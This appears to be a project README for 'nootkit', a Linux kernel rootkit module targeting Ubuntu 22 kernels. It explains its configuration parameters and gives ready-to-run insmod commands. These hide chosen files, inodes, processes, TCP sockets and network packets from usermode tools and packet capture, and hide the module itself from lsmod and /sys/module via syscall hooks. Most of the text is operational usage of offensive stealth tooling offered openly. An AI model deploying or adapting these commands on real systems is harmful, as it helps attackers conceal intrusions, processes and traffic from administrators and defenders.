A basic rootkit with resource hiding capabilities.
You are welcome to browse the story-oriented documentation or give it a go.
Currently only Ubuntu 22 LTS kernels of version 5.15.0-76 are supported - and to compile the module you'll have to get the corresponding headers as they aren't included.
Headers are assumed to be located at kernel-headers/linux-headers-5.15.0-76-generic
,
in the same exact structure as they are present on Ubuntu machines at
/lib/modules/5.15.0-76-generic
.
nootkit
can receive a configuration through module parameters -
which are at the moment not exposed after the module has been loaded.
An example insmod
command to set certain filenames and inodes to be hidden
from common usermode APIs is:
insmod /nootkit.ko \
kallsyms_lookup_name=0x$(cat /proc/kallsyms | grep "\bkallsyms_lookup_name\b" | cut -d " " -f 1) \
hide_filenames=hello,bigboy \
hide_inodes=138210,17635,1337
The kernel space address of kallsyms_lookup_name
must be provided to the module at load time,
as it is used to locate other unexported symbols.
Possible module arguments are:
kallsyms_lookup_name
: Must be present, can be obtained via/proc/kallsyms
as shown abovehide_filenames
: Comma-separated list of file names and absolute paths to hide from usermode dir listingshide_inodes
: Comma-separated list of inode numbers to hide from usermode dir listingshide_sockets
: Comma-separated list of socket filter strings following the format (explained below) - IPv4 socket matching this filter will be hidden fromnetstat
commands.hide_packets
: Comma-separated list of packet filter strings following the format (explained below)
You are also welcome to check out the makefile for some semi-automatic tests.
Pretty simple really, just follow this template:
IP PROTO = 6; LOCAL = 0.0.0.0/0.0.0.0:1300-1400; FOREIGN = 0.0.0.0/0.0.0.0:0-65535;
Where PROTO
is a valid IP protocol number, although only TCP sockets are supported.
PROTO
0 is magic and matches any protocol number.
LOCAL
describes the local IP/Mask:PortRangeStart-PortRangeEnd, and FOREIGN
does the same for... The foreign address.
Port ranges are inclusive. Spaces aren't mandatory anywhere.
A lot like the socket filter format above (even represented the same in memory!), but a little more detailed:
ETH PROTO = 0; ETH SRC = 00:00:00:00:00:00; ETH DST = 00:00:00:00:00:00; IP PROTO = 6; IP SRC = 0.0.0.0/0.0.0.0:0-65535; IP DST = 0.0.0.0/0.0.0.0:1300-1350;
# Or ARP for example
ETH PROTO = 0806; ETH SRC = 00:00:00:00:00:00; ETH DST = 00:00:00:00:00:00; IP PROTO = 0; IP SRC = 0.0.0.0/0.0.0.0:0-65535; IP DST = 0.0.0.0/0.0.0.0:0-65535;
Again the PROTO
s are each valid protocol numbers for their respective protocol, and 0 is magic and matches all protocols.
Note that ETH PROTO
parses input as hexadecimal.
Examples:
insmod /nootkit.ko \
kallsyms_lookup_name=0x$(cat /proc/kallsyms | grep "\bkallsyms_lookup_name\b" | cut -d " " -f 1) \
hide_filenames=hello
insmod /nootkit.ko \
kallsyms_lookup_name=0x$(cat /proc/kallsyms | grep "\bkallsyms_lookup_name\b" | cut -d " " -f 1) \
hide_filenames=hello,/root/bigboy,/home/john/wayne
insmod /nootkit.ko \
kallsyms_lookup_name=0x$(cat /proc/kallsyms | grep "\bkallsyms_lookup_name\b" | cut -d " " -f 1) \
hide_inodes=524290
Hiding processes from various utilities including ps
can be done by hiding the path /proc/[pid]
corresponding
to the process. There is no specific API at the moment specific to hiding processes.
For example:
insmod /nootkit.ko \
kallsyms_lookup_name=0x$(cat /proc/kallsyms | grep "\bkallsyms_lookup_name\b" | cut -d " " -f 1) \
hide_filenames=/proc/7047,/proc/682
Sockets can be hidden from netstat
and other utilities by specifying their properties in the socket filter format
shown above.
Example:
insmod /nootkit.ko \
kallsyms_lookup_name=0x$(cat /proc/kallsyms | grep "\bkallsyms_lookup_name\b" | cut -d " " -f 1) \
"hide_sockets=\"PROTO = 1; LOCAL = 192.168.122.122/255.255.255.255:10-30; FOREIGN = 0.0.0.0/0.0.0.0:0-65535;\""
Packets can be hidden at a very low level - neither AF_PACKET
sockets or even XDP BPF running in the generic
context will see them.
Packets can be hidden by specifying their properties in the packet filter format shown above.
Example:
insmod /nootkit.ko \
kallsyms_lookup_name=0x$(cat /proc/kallsyms | grep "\bkallsyms_lookup_name\b" | cut -d " " -f 1) \
"hide_packets=\" \
ETH PROTO = 0; ETH SRC = 00:00:00:00:00:00; ETH DST = 00:00:00:00:00:00; IP PROTO = 6; IP SRC = 0.0.0.0/0.0.0.0:0-65535; IP DST = 0.0.0.0/0.0.0.0:1337-1337;, \
ETH PROTO = 0806; ETH SRC = 00:00:00:00:00:00; ETHDST = 00:00:00:00:00:00; IPPROTO = 0; IP SRC = 0.0.0.0/0.0.0.0:0-65535; IP DST = 0.0.0.0/0.0.0.0:0-65535; \
\""
nootkit
's self hiding feature has two aspects:
-
Hiding from
/proc/modules
and thereforelsmod
. -
Removing the
/sys/module
directory associated with the module.
To allow removing the module, a hook is installed for the syscall delete_module
, such that running rmmod -f nootkit
once disables the hiding of the module from both locations, and running it again removes the module regularly.
See the reason for this implementation in src/arch/x86_64/hide/module_sys.c.
The -f
flag is necessary, since without it rmmod
checks the directory /sys/module
for details about the requested
module to remove, and nootkit
's hiding from it prevent's rmmod
from following up with a delete_module
syscall.
There are 3 core parts to nootkit
:
- A standard hooking mechanism, exposed in src/hook.h and defined in an architecture specific source
file (src/arch/x86_64/hook.c).
- The main APIs here are
HOOK_DEFINE
andHOOK_EXTERN
, used to generate and expose functions for enabling and disabling hooks - macros for syscall hook definitions are also in place.
- The main APIs here are
- A centralized resolution and way of exposing unexported kernel symbols by way of
kallsyms
. Function and global variable signatures are defined once in an X-macro in src/ksyms.h, and are automatically set to be resolved by the functionresolve_ksyms
(src/ksyms.c) called on module initialization. - A central configuration method by module parameters; Both raw parameters and in some cases parsed parameter values
are available for use by nootkit modules, with some helper functions for performing common operations on configuration
values (e.g.
filter_transport
for matching values against a transport-layer network filter). src/config.h, src/config.c.
Usermode hiding functionalities are defined in the general src/hide directory, or in the architecture specific src/arch/x86_64/hide/ directory in relevant cases.